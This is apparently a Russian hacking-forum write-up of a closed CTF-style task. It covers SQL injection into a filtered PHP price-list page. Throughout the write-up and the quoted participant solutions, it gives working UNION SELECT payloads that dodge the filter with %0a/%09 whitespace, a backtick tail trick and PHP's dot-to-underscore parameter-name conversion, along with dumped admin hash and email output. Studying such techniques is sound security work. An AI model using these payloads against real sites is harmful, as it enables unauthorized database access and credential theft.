Задание закрыто
Постараюсь дать более подробное объяснение, чем принято в заданиях, поскольку хочется показать, что никакая это не уличная магия и не развлекаловка исключительно для групп.
Обычная задачка, доступная всякому, освоившему синтаксис мускула и php, и умеющему мыслить логически.
Ну, может быть, иногда нужно включать хакерскую догадку, если конкретных знаний пока недостаточно.
Задание можно разбить на две подзадачи:
- получить вывод информации через SQLi
- вывести информацию, уже конкретно из таблицы admin_site
Смотрим запрос
Код:
$sql="select tovar, dataprice, cena from pricelist where $key = $id and kmag=1";
Инъекция возможна в переменные $_GET['$key'] и $_GET['$id'].
Нам привычнее крутить тут
Код:
select tovar, dataprice, cena from pricelist where $key = {SQLi} and kmag=1
т.е. вызов будет выглядеть так:
Код:
http://localhost/test.php?id={SQLi}
поехали
Код:
http://localhost/test.php?id=0 union select 1,2,3
(далее буду писать только ту часть, что начинается со знака вопроса)
сработает фильтр на пробел
Код:
if(preg_match("|[\[ _\-\]\*(]+|ims", $_SERVER['QUERY_STRING'].urldecode($_SERVER['QUERY_STRING'])))die("Hacking attempt");
тогда заменим пробел на варианты из %09 ,%0а, %0b, %0d
Код:
?id=0%0aunion%0aselect%0a1,2,3
select tovar, dataprice, cena from pricelist where id = 0 union select 1,2,3 and kmag=1
запрос невалидный, мешает участок " and kmag=1", поле kmag отсутствует в запросе union select.
Его нужно отрезать комментариями, или достроить до валидного.
Штатные комментарии фильтром запрещены ("-- ","#", "/**/", и даже нештатный ";%00"), поэтому достраиваем запрос.
Я пытался подтолкнуть к использованию backtick "`", как эффективного и красивого аналога многострочного комментария и незаслуженно "забытого" в паблике ачата.
Код:
?id=0%0aunion%0aselect%0a1,2,3`
select tovar, dataprice, cena from pricelist where id = 0 union select 1,2,3` and kmag=1
В данном случае, все, что идет после обратной кавычки до конца строки (в т.ч. и символы \r\n) будет воспринято, как алиас поля 3, поскольку закрывающая кавычка отсутствует, что эквивалентно действию многострочного комментария.
т.е. даже если запрос был бы многострочным
[CODE]
$sql="select tovar, dataprice, cena
from pricelist where $key = $id
and kmag>0
and kmag0
and kmag$id){
(Здесь $key определяет имя переменной, а $id - ее значение.)
И тут либо вспоминаем эту разницу, либо методом хакерского тыка проверяем инъекцию в $_GET['key'].
А разница действительно есть и она даже описана в документаци к php
http://php.net/manual/ru/language.variables.external.php
Смысл в том, что
в именах переменных (но не в значениях), переданных через массивы $_GET и $_POST некоторые символы запрещены и преобразуются к знаку подчеркивания "_".
А символы эти -
пробел, левая квадратная скобка и точка (" ", "[", ".").
Фигасе! То, что нужно!
Пробел и скобку фильтр детектит, а вот точку пропускает, поэтому окончательный вызов будет таким.
Код:
http://localhost/test.php?0%0aunion%0aselect%0apassword,user,email%0afrom%0aadmin.site`=xek
(здесь "=xek" не несет смысловой нагрузки, просто смайлик )
запрос приобрел вид
Код:
select tovar, dataprice, cena from pricelist where 0 union select password,user,email from admin_site` = xek and kmag=1
и вернул нужные данные из admin_site
Код:
| admin | *4414E26EDED6D661B5386813EBBA95065DBC4728 | webmaster@localhost |
В условиях, когда backtik перестал работать на новых версиях мускула (во всей линейке 5.7), можно достроить запрос таким образом, чтобы хвост "and kmag=1"
не приводил к ошибке выполнения запроса.
В таблице admin_site нет поля "kmag", поэтому запрос валится, но такое поле есть в pricelist, поэтому тем, или иным способом добавим таблицу в запрос и достроим до валидного.
Например так:
Код:
http://localhost/test.php?0%09union%09select%09password,user,email%09from%09admin.site,pricelist%09where%091=1
соответственно запрос приобрел вид
Код:
select tovar, dataprice, cena from pricelist where 0 union select password,user,email from admin_site,pricelist where 1 = 1 and kmag=1
и уже выполняется нормально.
Как искать, когда не знал или не помнил это правило?
Гугл: "php переменная get подчеркивание".
Или сразу - метод хакерского тыка, можно и более надежное средство - фаззер (кто не знаком, обязательно освойте).
Обычно в проблемное место вставляют вывод генератора из 1-3 символов.
Как вариант, свой скрипт быстренько накидать.
.SpoilerTarget" type="button">Spoiler: Скрипт
Код:
$u1.chr($i).$u2,
CURLOPT_RETURNTRANSFER => 1,
));
$r = curl_exec($ch);
if(stripos($r,'admin')>0) echo $i,"
",chr($i),"
",$r;
}
curl_close($ch);
Про backtik.
К сожалению этот удобный способ отходит в историю, как в свое время ушел незакрытый комментарий "/*".
Видимо патчили тут
https://dev.mysql.com/doc/relnotes/m...ws-5-5-29.html
https://dev.mysql.com/doc/relnotes/m...ws-5-6-11.html
https://dev.mysql.com/doc/relnotes/m...ews-5-7-1.html
.SpoilerTarget" type="button">Spoiler: Info
Replication: Backtick (`) characters were not always handled correctly in internally generated SQL statements, which could sometimes lead to errors on the slave. (Bug #16084594, Bug #68045)
References: This issue is a regression of: Bug #14548159, Bug #66550.
И остался еще один интересный вопрос, каким образом точка с запятой ";" делает запрос валидным (смотрим прохождения ниже).
Не понимаю, как это работает.
Это точно не php и не mysql.
Есть подозрение, что-то дополнительно обрабатывает запрос, возможно предпроцессор какой то оптимизирует строку запроса.
Очень хотелось бы разобраться в причине такого аномального поведения, как минимум, двух серверов.
Во первых, нужно понимать причину аномалии и условия возникновения.
Во вторых, около этого могут находится и другие интересные эффекты.
Может владельцы помогут прояснить причину.
Прохождения:
.SpoilerTarget" type="button">Spoiler: Прохождения
Сообщение от
crlf
↑
Привет.
Увидев фильтр, подумал, что наметился небольшой прорыв в скулях, но потом вспомнил об особенности пыха
По бырику получилось так:
Код:
http://localhost/test.php?1%0Bunion%0Bselect%0B1,user,password%0Bfrom%0Badmin.site%0BLEFT%0BJOIN%0Bpricelist%0BON%0B1=1
Сообщение от
t0ma5
↑
Код:
~$ curl -s -k 'http://z1.ru.host1606652.serv16.hostland.pro/test.php?1=1&1%0alike%0a1%0aunion%0aselect%0auser,password,email%0afrom%0aadmin.site%0awhere%0a1%0alike%0a1%0aor%0a2=%222%22%0aunion%0aselect%0a1,1,1%0afrom%0apricelist%0awhere%0a1%0alike%0a1%0aor%0a2=%222%22'
| 2017-07-26 | ноутбук ASUS X540LA, 90NB0B02-M17590 | 26990 |
| 2017-07-26 | ноутбук ASUS X540LA, 90NB0B02-M17590 | 26990 |
| *4414E26EDED6D661B5386813EBBA95065DBC4728 | admin | webmaster@localhost |
| 1 | 1 | 1 |
k
Сообщение от
cat1vo
↑
REQUEST
GET /test.php?1%3D1%0Aunion%0Aselect%0Auser,password,em ail%0Afrom%0Aadmin.site%60= HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
RESPONSE
HTTP/1.1 200 OK
Date: Mon, 31 Jul 2017 16:38:24 GMT
Server: Apache
Content-Length: 159
Connection: close
Content-Type: text/html; charset=UTF-8
| 2017-07-26 | ноутбук ASUS X540LA, 90NB0B02-M17590 | 26990 |
| *4414E26EDED6D661B5386813EBBA95065DBC4728 | admin | webmaster@localhost |
Сообщение от
rrock
↑
Привет. Вот такое решение получилось у меня:
/test.php?id%3d100%0aunion%0aselect%0apassword,user ,email%0afrom%0aadmin.site%0aunion%0aselect%0atova r,dataprice,cena%0afrom%0apricelist%0awhere%0aid=1 00
Соответственно, получаю такой вывод:
| admin | *4414E26EDED6D661B5386813EBBA95065DBC4728 | webmaster@localhost |
Сообщение от
Evan
↑
Привет, попытался решить задание - на моём компе сработал вот такой вариант:
?1%09union%09select%09user,password,email%09from%0 9admin%2esite%09where%091=1%09union%0aselect%09tov ar,dataprice,cena%09from%09pricelist%09where%091
Решение основано на том, что зафильтрованные символы пробела заменяем на табуляцию (урл-код %09), а зафильтрованный символ нижнего подчёркивания заменяем на точку (урл-код %2e).
Сообщение от
st55
↑
Код:
index.php?id%3D1%0Aunion%0Aselect%0A1,user,3%0Afrom%0Aadmin.site;
Соответственно вместо user и остальные данные. На локалке вроде выводит, но у тебя на хосте нет. Спасибо за задание, потратил немного нервов.
Сообщение от
st55
↑
Хм. Обнаружил в теме хост, там нормально отработала точка с запятой, без полноценного нуллбайта, на локалке тоже. Значит уже не глюк.

Странные вещи творятся, тут запрос отрабатывает, тут нет. Я, кстати, так и не дошёл до нормализации запроса. Так что задание до конца не осилил. В любом случае хоть что-то, так как про представлении серверов я не слышал раньше, а тут задание повлекло понимание.
Сообщение от
Shubka75
↑
Приветствую. Как я заметил, вы начали принимать частичное прохождение задания, так что прилагаю свой пример вывода версии.
Код:
http://z1.ru.host1606652.serv16.hostland.pro/test.php?id=1%0aunion%0aselect%0a1,2,@@version%0aunion%0aselect%0a1,2,3%0afrom%0apricelist%0awhere%0a1
Сообщение от
shotya
↑
Привет. Ответ на задание:
test.php?true%0aunion%0aselect%0auser,password,ema il%0afrom%0aadmin.site%0aunion%0aselect%0akmag,kma g,kmag%0afrom%0apricelist%0awhere%0a1=1